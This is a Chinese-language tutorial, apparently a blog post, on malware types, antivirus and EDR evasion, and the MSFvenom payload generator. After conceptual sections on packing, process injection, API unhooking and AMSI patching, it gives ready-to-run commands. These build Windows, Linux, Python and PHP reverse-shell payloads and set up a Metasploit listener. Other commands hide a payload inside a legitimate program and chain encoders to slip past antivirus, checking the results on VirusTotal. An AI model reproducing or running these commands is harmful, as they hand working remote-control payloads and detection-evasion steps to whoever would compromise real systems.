文章目录
- [一 恶意软件](#一 恶意软件)
- [二 绕过杀毒软件的主流技术](#二 绕过杀毒软件的主流技术)
-
- [2.1 基于磁盘的逃避检测技术](#2.1 基于磁盘的逃避检测技术)
- [2.2 基于内存的逃避检测技术](#2.2 基于内存的逃避检测技术)
- [2.3 基于 PowerShell 脚本的内存注入](#2.3 基于 PowerShell 脚本的内存注入)
-
- [2.3.1 无文件执行](#2.3.1 无文件执行)
- [2.3.2 反射式DLL注入](#2.3.2 反射式DLL注入)
- [2.3.3 利用 AMSI (Anti-Malware Scan Interface) 绕过](#2.3.3 利用 AMSI (Anti-Malware Scan Interface) 绕过)
- [2.3.4 三种技术总结](#2.3.4 三种技术总结)
- [三 MSFvenom](#三 MSFvenom)
-
- [3.1 MSFvenom核心常用参数详解](#3.1 MSFvenom核心常用参数详解)
- [3.2 MSFvenom使用案例](#3.2 MSFvenom使用案例)
-
- [3.2.1 案例 1:生成一个标准的 Windows Meterpreter 反向 Shell](#3.2.1 案例 1:生成一个标准的 Windows Meterpreter 反向 Shell)
- [3.2.2 案例 2:生成一个 Linux 的反向 Shell](#3.2.2 案例 2:生成一个 Linux 的反向 Shell)
- [3.2.3 案例 3:生成一个 Python 脚本的 Payload](#3.2.3 案例 3:生成一个 Python 脚本的 Payload)
- [3.2.4 案例 4:使用编码和模板进行简易免杀](#3.2.4 案例 4:使用编码和模板进行简易免杀)
- [3.2.5 案例 5:生成一个 Web Shell(如 PHP)](#3.2.5 案例 5:生成一个 Web Shell(如 PHP))
- [3.3 MSF编码器绕过杀软查杀](#3.3 MSF编码器绕过杀软查杀)
一 恶意软件
- 恶意软件(malware=malicious software)指代码或payload或文件,通过不同的方式渗透并破坏终端。如获取终端的完整访问权限、窃取密码等敏感信息、加密文件索取赎金、破坏用户体验等。
- 恶意软件的类型分为:
- 病毒(Virus):在系统中自我复制的恶意软件类型;
- 蠕虫(Worm):旨在整个网络中传播、感染终端以执行恶意操作的恶意软件,可作为其他恶意软件的组件集成;
- Rootkit:存在于操作系统较底层且通常具有高权限的恶意软件,常用于隐藏其他恶意文件;
- Downloader:从互联网下载并运行其他恶意文件的恶意软件,目的是伤害用户;
- 勒索软件(Ransomware):加密终端用户文件并要求支付赎金,用户付费后才能访问文件的恶意软件;
- 僵尸网络(Botnet):使受感染计算机成为大网络"肉鸡"的恶意软件,受害者会接收攻击者指令,甚至参与后续攻击;
- 后门(Backdoor):为攻击者留下持续访问用户终端通道的恶意软件;
- 潜在有害程序(PUP):包含恶意软件,向用户呈现不良内容(如广告)的程序;
- 恐吓软件(Scareware):提供安装终端虚假数据以恐吓用户执行恶意操作(如安装假冒防病毒软件或付费)的恶意软件;
- Dropper:将自身组件植入硬盘的恶意软件;
- 间谍软件(Spyware):监视用户、窃取信息并出售牟利的恶意软件;
- 特洛伊木马(Trojan):伪装成合法应用程序(如杀毒软件、免费游戏等),实则包含恶意功能的恶意软件。
二 绕过杀毒软件的主流技术
- 这些技术的核心思想是:避免在磁盘上留下可被静态扫描识别的恶意特征,或在内存中隐藏恶意行为,使其难以被动态监控和分析。
2.1 基于磁盘的逃避检测技术
- 这类技术主要针对杀毒软件的静态扫描能力。静态扫描会在文件不运行时,检查其代码、字符串、文件结构、数字签名等是否与已知的恶意软件特征库匹配。
- 加密与加壳(最基础也是最广泛使用的技术)
- 原理:将恶意代码的主体部分进行加密或压缩,形成一个"外壳"。程序运行时,一小段不被检测的"存根"代码会先执行,在内存中解密或解压出真正的恶意代码,然后跳转执行。
- 效果:杀毒软件在磁盘上只能看到加密后的无意义数据,无法匹配到恶意特征。只有当恶意代码在内存中解密后,才可能被动态检测发现。
- 常见工具:UPX(压缩)、自定义加密壳、商业加壳工具。
- 多态与变形
这是加壳技术的进化版,对抗的是"通用脱壳"和"启发式扫描"。
- 多态 :
- 原理:恶意软件在每次传播或复制时,都会使用不同的算法或密钥对自己的代码进行加密。其解密存根代码也会随之改变,但核心恶意逻辑保持不变。
- 效果:同一个恶意软件的每个样本在磁盘上看起来都完全不同,导致基于固定特征码的检测完全失效。
- 变形 :
- 原理 :比多态更进一步,它会重写恶意代码本身,通过插入无用指令(如
NOP
)、交换等价指令顺序、改变寄存器使用等方式,在保持功能不变的前提下,生成一个全新的、语法上合法的程序。 - 效果:不仅加密部分在变,连代码结构本身都在变,极难通过静态分析识别其恶意意图。
- 原理 :比多态更进一步,它会重写恶意代码本身,通过插入无用指令(如
- 文件less 攻击的磁盘层面准备
虽然最终是无文件攻击,但其初始阶段也可能涉及磁盘操作。
- 原理 :攻击者不直接写入
.exe
等可执行文件,而是将恶意脚本(如 PowerShell、VBS)、宏代码或 Shellcode 写入到非可疑位置,如注册表、事件日志、ADS(Alternate Data Streams,备用数据流)中。 - 效果:杀毒软件通常不会将这些位置作为重点扫描对象,从而绕过了文件系统的监控。
2.2 基于内存的逃避检测技术
这类技术主要针对安全软件的动态行为监控 和内存扫描。EDR 等高级防护工具会监控进程行为、API 调用和内存内容,以发现恶意活动。
- 进程注入
这是内存攻击的核心技术,目的是将恶意代码注入到一个合法、受信任的进程中执行,从而"伪装"自己。
- 原理 :攻击者获取目标进程(如
explorer.exe
,svchost.exe
)的句柄,在该进程的内存空间中分配一块区域,写入恶意代码(Shellcode),然后创建一个新的远程线程来执行这段代码。 - 效果:从外部看,所有恶意行为都是由一个合法进程发起的,可以有效混淆安全软件的进程溯源和父子关系分析。
- 内存模块隐匿
当恶意代码以 DLL 形式注入后,它会出现在目标进程的模块列表中,容易被发现。
- 原理:通过直接操作进程环境块或使用未导出的 Windows API,将加载的恶意 DLL 模块从进程的模块链表中"摘除"。
- 效果:即使安全工具扫描进程内存,也看不到这个 DLL 的存在,实现了"隐形"。
- API Hooking 绕过
恶意软件需要调用 Windows API 来执行操作(如创建文件、建立网络连接),而 EDR 正是通过 Hook 这些 API 来监控行为的。
- 原理 :
- 直接系统调用 :绕过封装好的 Win32 API(如
Kernel32.dll
中的函数),直接通过syscall
/int 0x2e
指令调用底层的内核函数(ntdll.dll
中的Nt*
系列函数)。因为 EDR 主要 Hook 上层 API,直接调用底层可以绕过监控。 - Unhooking:恶意代码在运行前,先找到被 EDR Hook 了的函数,将其原始字节从内存中恢复,然后再正常调用,从而"解除"EDR的监控。
- Fresh Copy :将
ntdll.dll
的新副本从磁盘重新加载到内存中,然后从这个未被 Hook 的副本中调用 API。
- 直接系统调用 :绕过封装好的 Win32 API(如
2.3 基于 PowerShell 脚本的内存注入
- 这是一种结合了上述多种思想的、高度灵活且隐蔽的攻击手法,在红队攻击中极为流行。PowerShell 本身是 Windows 自带的强大管理工具,天然受信任,这为攻击者提供了绝佳的掩护。
2.3.1 无文件执行
- 原理 :攻击者不落地任何
.ps1
脚本文件。他们通过mshta.exe
、rundll32.exe
或其他方式,直接从远程服务器(如 C2 服务器)下载 PowerShell 脚本,并使用-enc
(编码执行)或-w hidden
(隐藏窗口)等参数,让powershell.exe
直接在内存中解释执行。 - 效果:磁盘上没有任何恶意脚本文件,彻底绕过了基于文件的静态检测。
2.3.2 反射式DLL注入
这是 PowerShell 内存注入的"杀手锏"。
- 原理 :
- 攻击者在 PowerShell 中读取一个恶意 DLL 文件的原始字节到内存中。
- 在内存中手动模拟 Windows 加载器的工作:分配内存、解析 PE 头、处理重定位、解析导入表等。
- 最后,直接调用 DLL 的入口点(如
DllMain
)或导出函数,完成加载和执行。
- 效果 :整个 DLL 从读取到执行完全在内存中完成,没有调用
LoadLibrary
等 API,不会在磁盘上留下痕迹,也不会在进程模块列表中留下记录。这是最隐蔽的注入方式之一。
2.3.3 利用 AMSI (Anti-Malware Scan Interface) 绕过
微软为了防御脚本攻击,引入了 AMSI,它可以在脚本运行前将其内容提交给杀毒软件进行扫描。
- 原理 :PowerShell 恶意脚本会尝试在内存中找到
amsi.dll
,并 Patch(修改)其AmsiScanBuffer
函数,使其永远返回"扫描结果为干净"。 - 效果:即使恶意脚本内容被 AMSI 拦截,通过修改 AMSI 的行为,脚本也能成功执行,从而绕过了这最后一道防线。
2.3.4 三种技术总结
技术类别 | 核心思想 | 主要对抗目标 | 典型手法 |
---|---|---|---|
基于磁盘的逃避 | 让磁盘上的文件看起来"干净"或"不同" | AV静态扫描、特征码匹配 | 加密/加壳、多态/变形、写入非可疑位置 |
基于内存的逃避 | 在内存中隐藏代码、混淆行为 | EDR动态监控、内存扫描、API Hook | 进程注入、模块隐匿、直接系统调用、Unhooking |
PowerShell内存注入 | 利用可信工具,实现全程无文件、隐蔽加载 | AV/EDR的文件和行为监控 | 无文件执行、反射式DLL注入、AMSI绕过 |
- 现代高级恶意软件和攻击者通常不会只使用单一技术,而是将上述技术组合使用,形成一套复杂的、多阶段的攻击链,以最大限度地提高绕过防御的成功率。
三 MSFvenom
- MSFvenom 是 Metasploit 框架中用于生成Payload(有效载荷) 和编码的工具。它合并了旧版 msfpayload 和 msfencode 工具的功能,成为一站式Payload生成器。
- 简单来说,它的核心作用是:根据你提供的参数,生成一个能在目标系统上运行的"小程序"(即Payload)。 当这个程序在目标上被执行时,它会与攻击者机器上的 Metasploit 监听器(handler) 建立连接,从而为攻击者提供一个 shell (如
cmd
,bash
)或 Meterpreter 会话,实现对目标的控制。
3.1 MSFvenom核心常用参数详解
MSFvenom 的参数主要分为以下几类:
- Payload 相关(必选项)
-p, --payload <payload>
: 指定要使用的 Payload。这是最重要的参数,决定了生成的可执行文件的行为。例如:windows/x64/meterpreter/reverse_tcp
--list payloads
: 列出所有可用的 Payload。可以通过grep
过滤,如msfvenom --list payloads | grep windows
。
- 输出格式相关(必选项)
-f, --format <format>
: 指定 Payload 的输出格式。常见格式:exe
: Windows 可执行文件elf
: Linux 可执行文件asp
,aspx
: ASP 脚本jsp
: Java Server Pages 脚本war
: Java Web 应用程序归档(用于 Tomcat 等)python
,raw
,c
: 各种语言格式或原始字节码--list formats
: 列出所有可用的输出格式。
-
选项设置(设置 Payload 参数)
LHOST=<IP>
: 监听器的 IP 地址(即你的攻击机 IP)。LPORT=<PORT>
: 监听器监听的端口。-o, --out <path>
: 将生成的有效载荷保存到指定文件。(如果不使用此参数,Payload 会直接输出到屏幕)
-
编码器相关(用于免杀和绕过)
-e, --encoder <encoder>
: 指定使用的编码器。编码可以改变 Payload 的代码 signature,以绕过简单的杀毒软件(AV)检测。
*常见编码器:x86/shikata_ga_nai
(非常经典)-i <iterations>
: 指定编码的迭代次数(通常 5-10 次即可,过多可能不稳定)。--list encoders
: 列出所有可用的编码器。
- 模板相关
-x, --template <path>
: 指定一个现有的可执行文件作为模板,将 Payload 嵌入其中。这是一种常见的免杀技术,让恶意代码藏身于正常程序中(如putty.exe
)。
- 平台和架构
--platform <platform>
: 指定目标平台(如windows
,linux
)。-a, --arch <architecture>
: 指定目标架构(如x86
,x64
)。
*通常 Payload 名称里已经包含了平台和架构信息,所以这两个参数不常用。
- 坏字符过滤
-b <chars>
: 从 Payload 中移除指定字符。在某些漏洞利用场景(如缓冲区溢出)中,某些字符(如\x00
空字节)会终止进程,需要过滤掉。
3.2 MSFvenom使用案例
3.2.1 案例 1:生成一个标准的 Windows Meterpreter 反向 Shell
生成 Payload:
bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o malicious.exe
-p windows/x64/meterpreter/reverse_tcp
: 使用 64 位 Windows 的 Meterpreter 反向 TCP Payload。LHOST=192.168.1.100
: 将192.168.1.100
替换为你攻击机的 IP。LPORT=4444
: 监听端口。-f exe
: 输出为 Windows exe 文件。-o malicious.exe
: 保存为malicious.exe
。
启动监听器 (在MSFconsole中):
bash
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.100
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run
- 只要目标机器运行
malicious.exe
,就能在 msfconsole 中获得一个 Meterpreter 会话。
3.2.2 案例 2:生成一个 Linux 的反向 Shell
bash
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o payload.elf
-p linux/x64/...
: 指定 Linux Payload。-f elf
: 输出为 ELF 格式(Linux 可执行文件)。
3.2.3 案例 3:生成一个 Python 脚本的 Payload
bash
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shell.py
- 生成的
shell.py
文件需要在有 Python 环境的目标上运行。
3.2.4 案例 4:使用编码和模板进行简易免杀
bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 10 -x /usr/share/windows-binaries/plink.exe -f exe -o malicious_av.exe
-e x86/shikata_ga_nai -i 10
: 使用shikata_ga_nai
编码器编码 10 次。-x /path/to/plink.exe
: 使用plink.exe
(一个合法的 SSH 命令行工具)作为模板。最终生成的文件看起来是plink.exe
,但实际运行后会同时执行 Payload 和原有程序。
3.2.5 案例 5:生成一个 Web Shell(如 PHP)
bash
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shell.php
将 shell.php
上传到有漏洞的 Web 服务器,然后访问它来触发连接。
3.3 MSF编码器绕过杀软查杀
- MSF编码器的作用是对生成的Payload进行特殊的转码处理,如可以通过xor加密,然后继续使用编码的方式对其做双层免杀,能很有效地绕过杀毒软件的检测。
- 查看msfvenom的编码器
bash
(base) ┌──(root㉿Kali)-[~]
└─# msfvenom -l encoders
Framework Encoders [--encoder <value>]
======================================
Name Rank Description
---- ---- -----------
...
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
...
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
...
- 推荐编码器
cmd/powershell_base64
和x86/shikata_ga_nai
- 常用选项
-i <iterations>
: 指定编码的迭代次数(5-10 次)。-e, --encoder <encoder>
: 指定使用的编码器。编码可以改变 Payload 的代码 signature,以绕过简单的杀毒软件(AV)检测。-b --bad-chars<list>
:指定规避字符集,设置需要过滤的坏字符。-x --template<path>
指定一个正常的可执行文件作为Payload的注入模板。
- 免杀(Antivirus Evasion): MSFvenom 生成的默认 Payload 已被所有主流杀毒软件标记。简单的编码(-e)和模板(-x)只能绕过非常基础的 AV。真正的免杀需要更高级的技术,如自定义编码器、密码器(msfvenom 的 -k 参数已失效)、或使用其他框架(如 Veil, Shellter, Cobalt Strike)。
- 单个编码器:执行如下命令生成一个payload,然后上传到https://www.virustotal.com/进行检测。
bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=4446 -e x86/shikata_ga_nai -i 16 -f exe -o shell_test.exe

- 使用多个编码器生成payload,下图中分行命令仅用于方便阅读,请使用一行命令执行。然后上传到https://www.virustotal.com/进行检测。
bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.195.9 LPORT=4446 -e x86/shikata_ga_nai -i 16 -f raw |
msfvenom -e x86/shikata_ga_nai -i 10 -a x86 --platform windows -f raw |
msfvenom -e x86/countdown -a x86 --platform windows -i 10 -f raw |
msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f exe -o notepad.exe
bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.195.9 LPORT=4446 -e x86/shikata_ga_nai -i 16 -f raw | msfvenom -e x86/shikata_ga_nai -i 10 -a x86 --platform windows -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f exe -o notepad.exe
